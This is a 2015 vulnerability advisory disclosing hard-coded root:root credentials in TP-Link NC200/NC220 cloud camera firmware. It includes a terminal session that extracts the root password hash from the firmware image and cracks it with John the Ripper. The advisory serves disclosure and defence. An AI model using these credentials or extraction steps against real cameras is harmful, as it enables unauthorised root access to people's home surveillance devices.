? TP-Link NC200/NC220 Cloud Camera 300Mbps Wi-Fi Hard-Coded Credentials Vendor: TP-LINK Technologies Co., Ltd. Product web page: http://www.tp-link.us Affected version: NC220 V1 1.0.28 Build 150629 Rel.22346 NC200 V1 2.0.15 Build 150701 Rel.20962 Summary: Designed with simplicity in mind, TP-LINK's Cloud Cameras are a fast and trouble free way to keep track on what's going on in and around your home. Video monitoring, recording and sharing has never been easier with the use of TP-LINK?s Cloud service. The excitement of possibilities never end. Desc: NC220 and NC200 utilizes hard-coded credentials within its Linux distribution image. These sets of credentials (root:root) are never exposed to the end-user and cannot be changed through any normal operation of the camera. Tested on: Linux Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5255 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5255.php 20.07.2015 -- Initializing... root@zslab:~# strings NC220_1.0.28_Build_150629_Rel.22346.bin |grep root root_uImage p2048_newroot.cer root:$1$gt7/dy0B$6hipR95uckYG1cQPXJB.H.:0:0:Linux User,,,:/home/root:bin/sh Nproot:x:0: root@zslab:~# strings NC220_1.0.28_Build_150629_Rel.22346.bin | grep home > crack.me root@zslab:~# john crack.me Loaded 1 password hash (FreeBSD MD5 [128/128 SSE2 intrinsics 12x]) root (root) guesses: 1 time: 0:00:00:00 DONE (Mon Aug 3 05:52:55 2015) c/s: 400 trying: root - Userroot Use the "--show" option to display all of the cracked passwords reliably root@zslab:~# john crack.me --show root:root:0:0:Linux User,,,:/home/root:/bin/sh 1 password hash cracked, 0 left root@zslab:~#